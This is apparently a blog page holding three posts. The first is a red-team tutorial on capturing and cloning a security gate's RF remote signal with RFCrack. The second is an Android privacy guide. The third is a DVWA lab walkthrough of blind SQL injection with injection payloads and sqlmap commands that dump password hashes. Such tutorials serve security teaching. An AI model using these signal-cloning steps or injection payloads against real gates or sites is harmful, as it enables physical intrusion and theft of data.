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Reversing Device Signals with RFCrack for Red Teaming

This blog was researched and automated by:
@Ficti0n

@GarrGhar
Mostly because someone didn't want to pay for a new clicker that was lost LOL

Websites:
Console Cowboys: http://consolecowboys.com
CC Labs: http://cclabs.io

CC Labs Github for RFCrack Code:
https://github.com/cclabsInc/RFCrack

Contrived Scenario:

Bob was tasked to break into XYZ corporation, so he pulled up the facility on google maps to see what the layout was. He was looking for any possible entry paths into the company headquarters. Online maps showed that the whole facility was surrounded by a security access gate. Not much else could be determined remotely so bob decided to take a drive to the facility and get a closer look.

Bob parked down the street in view of the entry gate. Upon arrival he noted the gate was un-manned and cars were rolling up to the gate typing in an access code or simply driving up to the gate as it opening automatically. Interestingly there was some kind of wireless technology in use.

How do we go from watching a car go through a gate, to having a physical device that opens the gate?

We will take a look at reversing a signal from an actual gate to program a remote with the proper RF signal. Learning how to perform these steps manually to get a better understanding of how RF remotes work in conjunction with automating processes with RFCrack.

Items used in this blog:

Garage Remote Clicker: https://goo.gl/7fDQ2N
YardStick One: https://goo.gl/wd88sr
RTL SDR: https://goo.gl/B5uUAR

Walkthrough Video:

Remotely sniffing signals for later analysis:

In the the previous blogs, we sniffed signals and replayed them to perform actions. In this blog we are going to take a look at a signal and reverse it to create a physical device that will act as a replacement for the original device. Depending on the scenario this may be a better approach if you plan to enter the facility off hours when there is no signal to capture or you don't want to look suspicious.

Recon:

Lets first use the scanning functionality in RFCrack to find known frequencies. We need to understand the frequencies that gates usually use. This way we can set our scanner to a limited number of frequencies to rotate through. The smaller rage of frequencies used will provide a better chance of capturing a signal when a car opens the target gate. This would be beneficial if the scanning device is left unattended within a dropbox created with something like a Kali on a Raspberry Pi. One could access it from a good distance away by setting up a wifi hotspot or cellular connection.

Based on research remotes tend to use 315Mhz, 390Mhz, 433Mhz and a few other frequencies. So in our case we will start up RFCrack on those likely used frequencies and just let it run. We can also look up the FCID of our clicker to see what Frequencies manufactures are using. Although not standardized, similar technologies tend to use similar configurations. Below is from the data sheet located at https://fccid.io/HBW7922/Test-Report/test-report-1755584 which indicates that if this gate is compatible with a universal remote it should be using the 300,310, 315, 372, 390 Frequencies. Most notably the 310, 315 and 390 as the others are only on a couple configurations.

RFCrack Scanning:

Since the most used ranges are 310, 315, 390 within our universal clicker, lets set RFCrack scanner to rotate through those and scan for signals. If a number of cars go through the gate and there are no captures we can adjust the scanner later over our wifi connection from a distance.

Destroy:RFCrack ficti0n$ python RFCrack.py -k -f 310000000 315000000 390000000

Currently Scanning: 310000000 To cancel hit enter and wait a few seconds

Currently Scanning: 315000000 To cancel hit enter and wait a few seconds

Currently Scanning: 390000000 To cancel hit enter and wait a few seconds

e0000000000104007ffe0000003000001f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c00000000000000000000000000000000000000000000e0007f037fe007fc00ff801ff07ffe0fffe1fffc3fff0001f00000000000000000000000000000000000000000000003809f641fff801ff003fe00ffc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000003c0bff01bdf003fe007fc00ff83fff07ffe0fffc1fff8001f0000000000000000000000000000000000000000000000380000000000000000002007ac115001fff07ffe0fffc000f8000000000000000000000000000000000000000

Currently Scanning: 433000000 To cancel hit enter and wait a few seconds

Example of logging output:

From the above output you will see that a frequency was found on 390. However, if you had left this running for a few hours you could easily see all of the output in the log file located in your RFCrack/scanning_logs directory. For example the following captures were found in the log file in an easily parseable format:

Destroy:RFCrack ficti0n$ cd scanning_logs/

Destroy:scanning_logs ficti0n$ ls

Dec25_14:58:45.log Dec25_21:17:14.log Jan03_20:12:56.log

Destroy:scanning_logs ficti0n$ cat Dec25_21\:17\:14.log

A signal was found on :390000000

c0000000000000000000000000008000000000000ef801fe003fe0fffc1fff83fff07ffe0007c0000000000000000000000000000000000000000000001c0000000000000000050003fe0fbfc1fffc3fff83fff0003e00000000000000000000000000000000000000000000007c1fff83fff003fe007fc00ff83fff07ffe0fffc1fff8001f00000000000000000000000000000000000000000000003e0fffc1fff801ff003fe007fc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000001f07ffe0dffc00ff803ff007fe0fffc1fff83fff07ffe0007c000000000000000000000000000000000000000000

A signal was found on :390000000

e0000000000104007ffe0000003000001f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c00000000000000000000000000000000000000000000e0007f037fe007fc00ff801ff07ffe0fffe1fffc3fff0001f00000000000000000000000000000000000000000000003809f641fff801ff003fe00ffc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000003c0bff01bdf003fe007fc00ff83fff07ffe0fffc1fff8001f0000000000000000000000000000000000000000000000380000000000000000002007ac115001fff07ffe0fffc000f8000000000000000000000000000000000000000

Analyzing the signal to determine toggle switches:

Ok sweet, now we have a valid signal which will open the gate. Of course we could just replay this and open the gate, but we are going to create a physical device we can pass along to whoever needs entry regardless if they understand RF. No need to fumble around with a computer and look suspicious. Also replaying a signal with RFCrack is just to easy, nothing new to learn taking the easy route.

The first thing we are going to do is graph the capture and take a look at the wave pattern it creates. This can give us a lot of clues that might prove beneficial in figuring out the toggle switch pattern found in remotes. There are a few ways we can do this. If you don't have a yardstick at home you can capture the initial signal with your cheap RTL-SDR dongle as we did in the first RF blog. We could then open it in audacity. This signal is shown below.

Let RFCrack Plot the Signal For you:

The other option is let RFCrack help you out by taking a signal from the log output above and let RFCrack plot it for you. This saves time and allows you to use only one piece of hardware for all of the work. This can easily be done with the following command:

Destroy:RFCrack ficti0n$ python RFCrack.py -n -g -u 1f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c

-n = No yardstick attached

-g = graph a single signal

-u = Use this piece of data

From the graph output we see 2 distinct crest lengths and some junk at either end we can throw away. These 2 unique crests correspond to our toggle switch positions of up/down giving us the following 2 possible scenarios using a 9 toggle switch remote based on the 9 crests above:

Possible toggle switch scenarios:

down down up up up down down down down
up up down down down up up up up

Configuring a remote:

Proper toggle switch configuration allows us to program a universal remote that sends a signal to the gate. However even with the proper toggle switch configuration the remote has many different signals it sends based on the manufacturer or type of signal. In order to figure out which configuration the gate is using without physically watching the gate open, we will rely on local signal analysis/comparison.

Programming a remote is done by clicking the device with the proper toggle switch configuration until the gate opens and the correct manufacturer is configured. Since we don't have access to the gate after capturing the initial signal we will instead compare each signal from he remote to the original captured signal.

Comparing Signals:

This can be done a few ways, one way is to use an RTLSDR and capture all of the presses followed by visually comparing the output in audacity. Instead I prefer to use one tool and automate this process with RFCrack so that on each click of the device we can compare a signal with the original capture. Since there are multiple signals sent with each click it will analyze all of them and provide a percent likelihood of match of all the signals in that click followed by a comparing the highest % match graph for visual confirmation. If you are seeing a 80-90% match you should have the correct signal match.

Note: Not every click will show output as some clicks will be on different frequencies, these don't matter since our recon confirmed the gate is communicating on 390Mhz.

In order to analyze the signals in real time you will need to open up your clicker and set the proper toggle switch settings followed by setting up a sniffer and live analysis with RFCrack:

Open up 2 terminals and use the following commands:

#Setup a sniffer on 390mhz
Setup sniffer: python RFCrack.py -k -c -f 390000000.

#Monitor the log file, and provide the gates original signal
Setup Analysis: python RFCrack.py -c -u 1f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c -n.

Cmd switches used

-k = known frequency

-c = compare mode

-f = frequency

-n = no yardstick needed for analysis

Make sure your remote is configured for one of the possible toggle configurations determined above. In the below example I am using the first configuration, any extra toggles left in the down position: (down down up up up down down down down)

Analyze Your Clicks:

Now with the two terminals open and running click the reset switch to the bottom left and hold till it flashes. Then keep clicking the left button and viewing the output in the sniffing analysis terminal which will provide the comparisons as graphs are loaded to validate the output. If you click the device and no output is seen, all that means is that the device is communicating on a frequency which we are not listening on. We don't care about those signals since they don't pertain to our target.

At around the 11th click you will see high likelihood of a match and a graph which is near identical. A few click outputs are shown below with the graph from the last output with a 97% match. It will always graph the highest percentage within a click. Sometimes there will be blank graphs when the data is wacky and doesn't work so well. This is fine since we don't care about wacky data.

You will notice the previous clicks did not show even close to a match, so its pretty easy to determine which is the right manufacture and setup for your target gate. Now just click the right hand button on the remote and it should be configured with the gates setup even though you are in another location setting up for your test.

For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png

----------Start Signals In Press--------------

Percent Chance of Match for press is: 0.05

Percent Chance of Match for press is: 0.14

Percent Chance of Match for press is: 0.12

----------End Signals In Press------------

For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png

----------Start Signals In Press--------------

Percent Chance of Match for press is: 0.14

Percent Chance of Match for press is: 0.20

Percent Chance of Match for press is: 0.19

Percent Chance of Match for press is: 0.25

----------End Signals In Press------------

For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png

----------Start Signals In Press--------------

Percent Chance of Match for press is: 0.93

Percent Chance of Match for press is: 0.97

Percent Chance of Match for press is: 0.90

Percent Chance of Match for press is: 0.88

Percent Chance of Match for press is: 0.44

----------End Signals In Press------------

For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png

Graph Comparison Output for 97% Match:

Conclusion:

You have now walked through successfully reversing a toggle switch remote for a security gate. You took a raw signal and created a working device using only a Yardstick and RFCrack. This was just a quick tutorial on leveraging the skillsets you gained in previous blogs in order to learn how to analyze RF signals within embedded devices. There are many scenarios these same techniques could assist in. We also covered a few new features in RF crack regarding logging, graphing and comparing signals. These are just a few of the features which have been added since the initial release. For more info and other features check the wiki.

Continue reading

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In android there is lots of personal data that can be accessed by any unauthorized apps that were installed on the device. This is just because your Android data is openly saved in your file explorer that is not encrypted or protected by encryption method, so, even normal app can also hijack your data very easily as the media access permissions are granted when you click on accept button while installing the apps. And this may be endangering the private data that you might not want to share with anyone. So here we have a cool way that will help you to make your data private by disallowing the apps to access your media files without your permission. So have a look on complete guide discussed below to proceed.

How To Protect Your Private Data From Android Apps

The method is quite simple and just need a rooted android device that will allow the Xposed installer to run on the device. And after having the Xposed installer you will be using an Xposed module to disallow the apps to have access to your personal or say private data. For this follow the guide below.

Steps To Protect Your Private Data From Android Apps:

Step 1. First of all, you need a rooted android as Xposed installer can only be installed on a rooted android, so Root your android to proceed for having superuser access on your android.

Step 2. After rooting your Android device you have to install the Xposed installer on your android and thats quite lengthy process and for that, you can proceed with our Guide to Install Xposed Installer On Android.

Step 3. Now after having an Xposed framework on your Android the only thing you need is the Xposed module that is DonkeyGuard – Security Management the app that will allow you to manage the media access for apps installed on your device.

Step 4. Now install the app on your device and after that, you need to activate the module in the Xposed installer. Now you need to reboot your device to make the module work perfectly on your device.

Step 5. Now launch the app and you will see all the apps that are currently installed on your device.

Step 6. Now edit the media permission for the apps that you don't want to have access to your media with private data.

That's it, you are done! now the app will disallow the media access to that apps.

Manually Checking App Permission

Well, our Android operating system offers a nice feature in which we can manage a single app's permission. However, you need to have Android 6.0 Marshmallow or a newer version to get the option.

Step 1. First of all, open Settings and then tap on 'Apps'.

Manually Checking App Permission

Step 2. Now you will see the list of apps that are currently installed on your Android smartphone. Now you need to select the app, and then you will see 'Permissions.'

Manually Checking App Permission

Step 3. Now it will open a new window, which will show you all permissions that you have granted to the app like Camera access, contacts, Location, microphone, etc. You can revoke any permissions as per your wish.

Manually Checking App Permission

Well, the same thing you need to perform if you feel that you have installed some suspicious app on your Android. By this way, you can protect your private data from Android apps.

In this article we are going to do the SQL Injection (Blind) challenge of DVWA.
OWASP describes Blind SQL Injection as:
"Blind SQL (Structured Query Language) injection is a type of attack that asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.

When an attacker exploits SQL injection, sometimes the web application displays error messages from the database complaining that the SQL Query's syntax is incorrect. Blind SQL injection is nearly identical to normal , the only difference being the way the data is retrieved from the database. When the database does not output data to the web page, an attacker is forced to steal data by asking the database a series of true or false questions. This makes exploiting the SQL Injection vulnerability more difficult, but not impossible."

To follow along click on the SQL Injection (Blind) navigation link. You will be presented with a page like this:

Lets first try to enter a valid User ID to see what the response looks like. Enter 1 in the User ID field and click submit. The result should look like this:

Lets call this response as valid response for the ease of reference in the rest of the article. Now lets try to enter an invalid ID to see what the response for that would be. Enter something like 1337 the response would be like this:

We will call this invalid response. Since we know both the valid and invalid response, lets try to attack the app now. We will again start with a single quote (') and see the response. The response we got back is the one which we saw when we entered the wrong User ID. This indicates that our query is either invalid or incomplete. Lets try to add an or statement to our query like this:

' or 1=1-- -

This returns a valid response. Which means our query is complete and executes without errors. Lets try to figure out the size of the query output columns like we did with the sql injection before in Learning Web Pentesting With DVWA Part 2: SQL Injection.
Enter the following in the User ID field:

' or 1=1 order by 1-- -

Again we get a valid response lets increase the number to 2.

' or 1=1 order by 2-- -

We get a valid response again lets go for 3.

' or 1=1 order by 3-- -

We get an invalid response so that confirms the size of query columns (number of columns queried by the server SQL statement) is 2.
Lets try to get some data using the blind sql injection, starting by trying to figure out the version of dbms used by the server like this:

1' and substring(version(), 1,1) = 1-- -

Since we don't see any output we have to extract data character by character. Here we are trying to guess the first character of the string returned by version() function which in my case is 1. You'll notice the output returns a valid response when we enter the query above in the input field.
Lets examine the query a bit to further understand what we are trying to accomplish. We know 1 is the valid user id and it returns a valid response, we append it to the query. Following 1, we use a single quote to end the check string. After the single quote we start to build our own query with the and conditional statement which states that the answer is true if and only if both conditions are true. Since the user id 1 exists we know the first condition of the statement is true. In the second condition, we extract first character from the version() function using the substring() function and compare it with the value of 1 and then comment out the rest of server query. Since first condition is true, if the second condition is true as well we will get a valid response back otherwise we will get an invalid response. Since my the version of mariadb installed by the docker container starts with a 1 we will get a valid response. Lets see if we will get an invalid response if we compare the first character of the string returned by the version() function to 2 like this:

1' and substring(version(),1,1) = 2-- -

And we get the invalid response. To determine the second character of the string returned by the version() function, we will write our query like this:
1' and substring(version(),2,2) = 1-- -
We get invalid response. Changing 1 to 2 then 3 and so on we get invalid response back, then we try 0 and we get a valid response back indicating the second character in the string returned by the version() function is 0. Thus we have got so for 10 as the first two characters of the database version. We can try to get the third and fourth characters of the string but as you can guess it will be time consuming. So its time to automate the boring stuff. We can automate this process in two ways. One is to use our awesome programming skills to write a program that will automate this whole thing. Another way is not to reinvent the wheel and try sqlmap. I am going to show you how to use sqlmap but you can try the first method as well, as an exercise.
Lets use sqlmap to get data from the database. Enter 1 in the User ID field and click submit.
Then copy the URL from the URL bar which should look something like this
http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit
Now open a terminal and type this command:

sqlmap --version

this will print the version of your sqlmap installation otherwise it will give an error indicating the package is not installed on your computer. If its not installed then go ahead and install it.
Now type the following command to get the names of the databases:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id

Here replace the PHPSESSID with your session id which you can get by right clicking on the page and then clicking inspect in your browser (Firefox here). Then click on storage tab and expand cookie to get your PHPSESSID. Also your port for dvwa web app can be different so replace the URL with yours.
The command above uses -u to specify the url to be attacked, --cookie flag specifies the user authentication cookies, and -p is used to specify the parameter of the URL that we are going to attack.
We will now dump the tables of dvwa database using sqlmap like this:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa --tables

After getting the list of tables its time to dump the columns of users table like this:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users --columns

And at last we will dump the passwords column of the users table like this:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users -C password --dump

Now you can see the password hashes.
As you can see automating this blind sqli using sqlmap made it simple. It would have taken us a lot of time to do this stuff manually. That's why in pentests both manual and automated testing is necessary. But its not a good idea to rely on just one of the two rather we should leverage power of both testing types to both understand and exploit the vulnerability.
By the way we could have used something like this to dump all databases and tables using this sqlmap command:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id --dump-all

But obviously it is time and resource consuming so we only extracted what was interested to us rather than dumping all the stuff.
Also we could have used sqlmap in the simple sql injection that we did in the previous article. As an exercise redo the SQL Injection challenge using sqlmap.

References:

1. Blind SQL Injection: https://owasp.org/www-community/attacks/Blind_SQL_Injection
2. sqlmap: http://sqlmap.org/
3. MySQL SUBSTRING() Function: https://www.w3schools.com/sql/func_mysql_substring.asp

More info

29 ene 2024

Hacking Everything With RF And Software Defined Radio - Part 3

Reversing Device Signals with RFCrack for Red Teaming

Contrived Scenario:

Items used in this blog:

Walkthrough Video:

Remotely sniffing signals for later analysis:

Recon:

RFCrack Scanning:

Example of logging output:

Analyzing the signal to determine toggle switches:

Let RFCrack Plot the Signal For you:

Possible toggle switch scenarios:

Configuring a remote:

Comparing Signals:

Open up 2 terminals and use the following commands:

Analyze Your Clicks:

Graph Comparison Output for 97% Match:

Conclusion:

Continue reading

28 ene 2024

How To Protect Your Private Data From Android Apps

How To Protect Your Private Data From Android Apps

Steps To Protect Your Private Data From Android Apps:

Manually Checking App Permission

Read more

Learning Web Pentesting With DVWA Part 3: Blind SQL Injection

References: